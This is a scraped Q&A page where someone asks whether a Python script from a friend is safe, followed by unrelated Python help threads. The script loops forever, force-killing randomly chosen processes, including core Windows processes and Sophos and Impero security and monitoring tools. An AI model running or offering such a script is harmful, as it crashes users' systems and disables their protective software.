How safe is this python code and should I run this [closed] - python
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
A friend sent me this code and I think it is unsafe and someone tell me.
import random
import os
x = 1
Applications = ["vlc.exe","System","smss.exe","csrss.exe","wininit.exe",
"csrss.exe","winlogon.exe","services.exe","lsass.exe","svchost.exe",
"svchost.exe","dwm.exe","WUDFHost.exe","SEDService.exe","vmacthlp.exe",
"SavService.exe","spoolsv.exe","activcontrolsvc.exe","mDNSResponder.exe",
"armsvc.exe","EwServer.exe","sqlservr.exe","AGSService.exe",
"SAVAdminService.exe","remotesolverdispatcherser","sqlwriter.exe",
"swc_service.exe","SophosCleanM.exe","sqlbrowser.exe",
"SophosSafestore64.exe","McsAgent.exe","SophosHealth.exe","McsClient.exe",
"VGAuthService.exe","USBDLM.exe","SynTPEnhService.exe","Memory_Compression",
"dispatcher.exe","SophosFS.exe","conhost.exe","SophosFileScanner.exe",
"SSPService.exe","dllhost.exe","msdtc.exe","unsecapp.exe","notepad.exe",
"wscript.exe","sihost.exe","taskhostw.exe","USBDLM_usr.exe",
"RuntimeBroker.exe","nexplorer.exe","SynTPEnh.exe","ShellExperienceHost.exe",
"SearchIndexer.exe","SearchUI.exe","GoogleCrashHandler.exe",
"GoogleCrashHandler64.exe","activmgr.exe","ImperoGuardianSVC.exe",
"ImperoClientSVC.exe","igfxtray.exe","hkcmd.exe","igfxpers.exe",
"Sophos_UI.exe","Spotify.exe","FOGUserService.exe","sldworks_fs.exe",
"audiodg.exe","ImperoRelay.exe","ImperoClient.exe",
"ImperoWinlogonApplication","alg.exe","FOGService.exe","rundll32.exe",
"WmiPrvSE.exe","SearchProtocolHost.exe","MetroAppInterface.exe","Code.exe",
"CodeHelper.exe","conhost.exe","python.exe","conhost.exe",
"SearchFilterHost.exe","chrome.exe","backgroundTaskHost.exe","Discord.exe",
"pythonw.exe","tasklist.exe","conhost.exe"]
while x == 1:
Stop_This_Application = random.choice(Applications)
os.system("TASKKILL /F /IM " + Stop_This_Application)
The code will try to stop randomly all the applications listed in the Applications list.
After a reboot, the system will work as usual.
Related
logical error in my python code, compiler show nothing [closed]
Closed. This question needs details or clarity. It is not currently accepting answers. Want to improve this question? Add details and clarify the problem by editing this post. Closed 2 years ago. Improve this question hello my compiler must show 5 but says press any key to continue means nothing. can you solve my problem? def result(num1,num2): num3 = num1+num2 return num3 print(result(3,2))
The function call print(result(3,2)) is inside the function result after return (which also means it will never be reached). Simply move it out of the function def result(num1,num2): num3 = num1+num2 return num3 print(result(3,2)) # 1 Identation back
There is no such thing as compiler in python :) Indentation is a part of syntax, your print became a part of function You can try this def result(num1,num2): num3 = num1+num2 return num3 print(result(3,2))
openAI gym TypeError: cannot unpack non-iterable NoneType object [closed]
Closed. This question is opinion-based. It is not currently accepting answers. Want to improve this question? Update the question so it can be answered with facts and citations by editing this post. Closed 2 years ago. Improve this question sorry I deleted this code I do not need help import numpy as np import gym import matplotlib import matplotlib.pyplot as plt import tensorflow as tf from env.BeamEnv import BeamEnv
if statements are vital for an application. As they are part of Dijkstra 1966 model of structured programming ingredients (Sequence, Repeatation, Selection) which still applies today for other paradigm like OOP, POP, FP, FRP, ... And you are not using them excessively (which could raise a red flag i.e switch statement). However I would like to recommend to merge your two if conditions if you are not suppose render when you want to export frames. I don’t know what _render() function does but if it is only of use when you need to export frames, you should have put it in the main if to prevent calling unnecessary functions (init_plt() and _render()) if render and self.episode_count % self.sample_freq == 0: self._init_plt() self._render(obs) self.export_frames() self.episode_count += 1 If you adopt the above code I would like to put your conditions into a functions which returns a boolean. if self.should_render(self.episode_count): self.init_plt() self._render(obs) self.export_frames() self.episode_count += 1 Still if you always use init_plt() and _render() together, you may consider, writing a wrapper function which calls them both. Just make the main logic of your code more readable. See Robert Martin (uncle bob) talks on clean codes.
How to use an auto-incrementing integer in Python logger? [closed]
Closed. This question needs details or clarity. It is not currently accepting answers. Want to improve this question? Add details and clarify the problem by editing this post. Closed 6 years ago. Improve this question I want to use step number in my Python script. This step number should be auto incrementing and I want to put it as part of logger. Is there any default option available for that?
The simplest way is to just wrap the logging call. def step_log(message, *args, **kwargs): logging.info("Step %d:" % step_log.counter + message, *args, **kwargs) step_log.counter += 1 step_log.counter = 1
This could work in your case ` step = 0 def sync_step(): global step step = step+1 logging.info("message", sync_step()) logging.info("message", sync_step()) logging.info("message", sync_step()) print step # answer 3 `
Why recursive lambda fails at an large number [closed]
Closed. This question needs details or clarity. It is not currently accepting answers. Want to improve this question? Add details and clarify the problem by editing this post. Closed 8 years ago. Improve this question I want to caculate an church number by python below,but it prompt the errors when I use the input greater than 993,anyone whom had the experience told me what happend? NUM0=lambda f: lambda x:x SUCC=lambda n: lambda f: lambda x: f(n(f)(x)) def decoding(n): num=NUM0 for i in xrange(n): num = SUCC(num) return num def encoding(num): f=lambda x:x+1 return str(num(f)(0)) print encoding(decoding(994)) # Why fails once greater than 993
You get a maximum recursion depth exceeded because python tries to protect itself against possible infinite recursive calls. Basically it stops itself in order not to cause a crash that could be a lot worse. You can change the recursion limit with sys.setrecursionlimit (as said by #falsetru). But as #ThomasWouters said in this answer: Doing so is dangerous -- the standard limit is a little conservative, but Python stackframes can be quite big."
(Python 2.7) easygui.choicebox if else statement how to [closed]
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers. This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers. Closed 4 years ago. Improve this question I am trying to make a mac address spoofer in python for my mac as i find other software to be unnecessary advance/hard to understand. First i want a choicebox asking what device you want to spoof but i can not get the if else statement to work. The point if if coice is the first then input this value elif the choice is the second one input that value. If none of the above, you did somthing wrong. and i am running python 2.7 TlDr; If Else Statement do not work as i want (python 2.7). Here is the code: #_._# Mac Changer #_._# import easygui msg = "What Device do you want to spoof you're mac addresse?" title = "SpoofMyMac" choices = ["en0 (Ethernet)", "en1 (WiFi)"] choice = easygui.choicebox(msg, title, choices) ##################################### if choice == choice[0]: # easygui.msgbox("Ethernet") # elif choice == choice[1]: # This is where the problem seems to be. easygui.msgbox("Wifi") # else: # easygui.msgbox("chus somthin!") # ##################################### Now this is just the begining of the code, anyone care to help me out with this if else statement? In advance Thank you! :)
From what I can see, you just have a typo. You want to index choices, not choice: if choice == choices[0]: #index choices ^ easygui.msgbox("Ethernet") elif choice == choices[1]: #index choices ^ easygui.msgbox("Wifi") else: easygui.msgbox("chus somthin!")